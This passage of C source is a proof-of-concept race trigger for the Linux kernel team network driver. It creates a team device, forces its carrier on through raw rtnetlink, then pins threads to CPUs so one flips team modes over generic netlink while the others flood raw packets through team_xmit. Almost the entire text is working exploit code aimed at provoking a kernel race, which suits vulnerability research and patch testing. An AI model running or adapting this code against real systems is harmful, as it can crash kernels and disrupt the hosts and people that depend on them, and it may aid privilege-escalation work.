        int ifindex = if_nametoindex(name);
        if (!ifindex) die("if_nametoindex");
        return ifindex;
}

static void bring_up(int ifindex)
{
        int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
        if (sk < 0) die("socket rtnetlink");

        struct nlmsg m = {0};
        m.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
        m.nh.nlmsg_type = RTM_NEWLINK;
        m.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        m.nh.nlmsg_seq = 2;

        struct ifinfomsg *ifi = (struct ifinfomsg *)NLMSG_DATA(&m.nh);
        ifi->ifi_family = AF_UNSPEC;
        ifi->ifi_index = ifindex;
        ifi->ifi_flags = IFF_UP;
        ifi->ifi_change = IFF_UP;

        if (send(sk, &m, m.nh.nlmsg_len, 0) < 0) die("send set-up");
        char rbuf[4096];
        (void)recv(sk, rbuf, sizeof(rbuf), 0);
        close(sk);
}

/* Force carrier on via .ndo_change_carrier (IFLA_CARRIER=33).
 * team_change_carrier() calls netif_carrier_on() unconditionally, which
 * triggers __linkwatch and eventually transitions txq->qdisc from
 * noop_qdisc to noqueue_qdisc; then packets bypass enqueue and reach
 * dev_hard_start_xmit -> team_xmit. */
static void force_carrier_on(int ifindex)
{
        int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
        if (sk < 0) die("socket rtnetlink");

        struct nlmsg m = {0};
        m.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
        m.nh.nlmsg_type = RTM_NEWLINK;
        m.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        m.nh.nlmsg_seq = 3;

        struct ifinfomsg *ifi = (struct ifinfomsg *)NLMSG_DATA(&m.nh);
        ifi->ifi_family = AF_UNSPEC;
        ifi->ifi_index = ifindex;
        ifi->ifi_change = 0;

        uint8_t carrier = 1;
        nlmsg_add_attr(&m.nh, 33 /* IFLA_CARRIER */, &carrier, sizeof(carrier));

        if (send(sk, &m, m.nh.nlmsg_len, 0) < 0) die("send IFLA_CARRIER");
        char rbuf[4096];
        int r = recv(sk, rbuf, sizeof(rbuf), 0);
        if (r > 0) {
                struct nlmsghdr *nh = (struct nlmsghdr *)rbuf;
                if (nh->nlmsg_type == NLMSG_ERROR) {
                        struct nlmsgerr *e = NLMSG_DATA(nh);
                        if (e->error)
                                fprintf(stderr, "IFLA_CARRIER set: %d (%s)\n",
                                        e->error, strerror(-e->error));
                }
        }
        close(sk);
}

/* ---- generic netlink: resolve family, send team cmds ---- */

struct genl_msg {
        struct nlmsghdr nh;
        struct genlmsghdr gh;
        char buf[4096];
};

static int genl_resolve_family(const char *name)
{
        int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
        if (sk < 0) die("socket genl");

        struct genl_msg m = {0};
        m.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct genlmsghdr));
        m.nh.nlmsg_type = GENL_ID_CTRL;
        m.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        m.nh.nlmsg_seq = 1;
        m.gh.cmd = CTRL_CMD_GETFAMILY;
        m.gh.version = 1;

        struct rtattr *a = (struct rtattr *)((char *)&m + NLMSG_ALIGN(m.nh.nlmsg_len));
        a->rta_type = CTRL_ATTR_FAMILY_NAME;
        a->rta_len = RTA_LENGTH(strlen(name) + 1);
        strcpy(RTA_DATA(a), name);
        m.nh.nlmsg_len = NLMSG_ALIGN(m.nh.nlmsg_len) + RTA_ALIGN(a->rta_len);

        if (send(sk, &m, m.nh.nlmsg_len, 0) < 0) die("send GETFAMILY");

        char rbuf[4096];
        int r = recv(sk, rbuf, sizeof(rbuf), 0);
        if (r < 0) die("recv GETFAMILY");

        struct nlmsghdr *nh = (struct nlmsghdr *)rbuf;
        if (nh->nlmsg_type == NLMSG_ERROR) {
                close(sk);
                return -1;
        }
        struct genlmsghdr *gh = NLMSG_DATA(nh);
        int attrlen = nh->nlmsg_len - NLMSG_SPACE(sizeof(*gh));
        struct rtattr *at = (struct rtattr *)((char *)gh + NLMSG_ALIGN(sizeof(*gh)));
        int id = -1;
        while (RTA_OK(at, attrlen)) {
                if (at->rta_type == CTRL_ATTR_FAMILY_ID) {
                        id = *(uint16_t *)RTA_DATA(at);
                        break;
                }
                at = RTA_NEXT(at, attrlen);
        }
        close(sk);
        return id;
}

static int set_team_mode(int family_id, int ifindex, const char *mode_name)
{
        int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
        if (sk < 0) return -1;

        struct genl_msg m = {0};
        m.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct genlmsghdr));
        m.nh.nlmsg_type = family_id;
        m.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        m.nh.nlmsg_seq = 1;
        m.gh.cmd = TEAM_CMD_OPTIONS_SET;
        m.gh.version = TEAM_GENL_VERSION;

        struct nlmsghdr *nh = &m.nh;

        uint32_t idx = ifindex;
        nlmsg_add_attr(nh, TEAM_ATTR_TEAM_IFINDEX, &idx, sizeof(idx));

        /* nested LIST_OPTION { ITEM_OPTION { name=mode, type=NLA_STRING, data=mode_name } } */
        struct rtattr *list = nlmsg_add_nested(nh, TEAM_ATTR_LIST_OPTION);
        struct rtattr *item = nlmsg_add_nested(nh, TEAM_ATTR_ITEM_OPTION);
        nlmsg_add_attr(nh, TEAM_ATTR_OPTION_NAME, "mode", 5);
        uint8_t type = POC_NLA_STRING;
        nlmsg_add_attr(nh, TEAM_ATTR_OPTION_TYPE, &type, sizeof(type));
        nlmsg_add_attr(nh, TEAM_ATTR_OPTION_DATA, mode_name, strlen(mode_name) + 1);
        nlmsg_end_nested(nh, item);
        nlmsg_end_nested(nh, list);

        if (send(sk, &m, nh->nlmsg_len, 0) < 0) {
                close(sk);
                return -1;
        }
        char rbuf[4096];
        int r = recv(sk, rbuf, sizeof(rbuf), 0);
        close(sk);
        if (r < 0) return -1;
        struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
        if (rh->nlmsg_type == NLMSG_ERROR) {
                struct nlmsgerr *e = NLMSG_DATA(rh);
                return e->error;
        }
        return 0;
}

/* ---- threads ---- */

static void pin_to_cpu(int cpu)
{
        cpu_set_t set;
        CPU_ZERO(&set);
        CPU_SET(cpu, &set);
        sched_setaffinity(0, sizeof(set), &set);
}

static void *xmit_thread(void *arg)
{
        int cpu = (long)arg;
        pin_to_cpu(cpu);

        int sk = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
        if (sk < 0) { perror("AF_PACKET"); return NULL; }

        struct sockaddr_ll sll = {0};
        sll.sll_family = AF_PACKET;
        sll.sll_ifindex = g_team_ifindex;
        sll.sll_protocol = htons(ETH_P_ALL);
        sll.sll_halen = 6;
        memset(sll.sll_addr, 0xff, 6);

        if (bind(sk, (struct sockaddr *)&sll, sizeof(sll)) < 0) {
                perror("bind AF_PACKET");
                close(sk);
                return NULL;
        }

        unsigned char pkt[64];
        memset(pkt, 0xff, 6);
        memset(pkt + 6, 0x11, 6);
        pkt[12] = 0x08; pkt[13] = 0x00;
        memset(pkt + 14, 0, sizeof(pkt) - 14);

        while (!g_stop) {
                for (int i = 0; i < 256; i++)
                        (void)sendto(sk, pkt, sizeof(pkt), 0,
                                     (struct sockaddr *)&sll, sizeof(sll));
                __sync_fetch_and_add(&g_xmits, 256);
        }
        close(sk);
        return NULL;
}

static void *flipper_thread(void *arg)
{
        int cpu = (long)arg;
        pin_to_cpu(cpu);

        const char *modes[] = { "roundrobin", "activebackup", "broadcast" };
        int i = 0;
        while (!g_stop) {
                const char *m = modes[i % 3];
                (void)set_team_mode(g_team_family, g_team_ifindex, m);
                i++;
                __sync_fetch_and_add(&g_flips, 1);
        }
        return NULL;
}

int main(void)
{
        setbuf(stdout, NULL);
        printf("[*] team ops race PoC starting\n");

        g_team_ifindex = create_team_device("team0");
        printf("[*] team0 created, ifindex=%d\n", g_team_ifindex);

        bring_up(g_team_ifindex);
        printf("[*] team0 is up\n");
        force_carrier_on(g_team_ifindex);
        printf("[*] team0 carrier forced ON\n");

        g_team_family = genl_resolve_family("team");
        if (g_team_family < 0) {
                fprintf(stderr, "failed to resolve team genl family\n");
                return 1;
        }
        printf("[*] team genl family id=%d\n", g_team_family);

        int rc = set_team_mode(g_team_family, g_team_ifindex, "roundrobin");
        printf("[*] initial set mode roundrobin -> %d\n", rc);

        long nthr = sysconf(_SC_NPROCESSORS_ONLN);
        if (nthr < 2) nthr = 2;
        if (nthr > 8) nthr = 8;

        pthread_t fl;
        pthread_create(&fl, NULL, flipper_thread, (void *)(long)0);

        pthread_t xt[8];
        for (long t = 0; t < nthr - 1; t++)
                pthread_create(&xt[t], NULL, xmit_thread,
                               (void *)(long)((t + 1) % nthr));

        for (int s = 0; s < 60 && !g_stop; s++) {
                sleep(1);
                if ((s % 5) == 0)
                        printf("[*] running... %d/60  flips=%lu xmits=%lu\n",
                               s, g_flips, g_xmits);
        }

        g_stop = 1;
        pthread_join(fl, NULL);
        for (long t = 0; t < nthr - 1; t++)
                pthread_join(xt[t], NULL);

        printf("[*] done (no crash observed from userspace side)\n");
        return 0;
}
```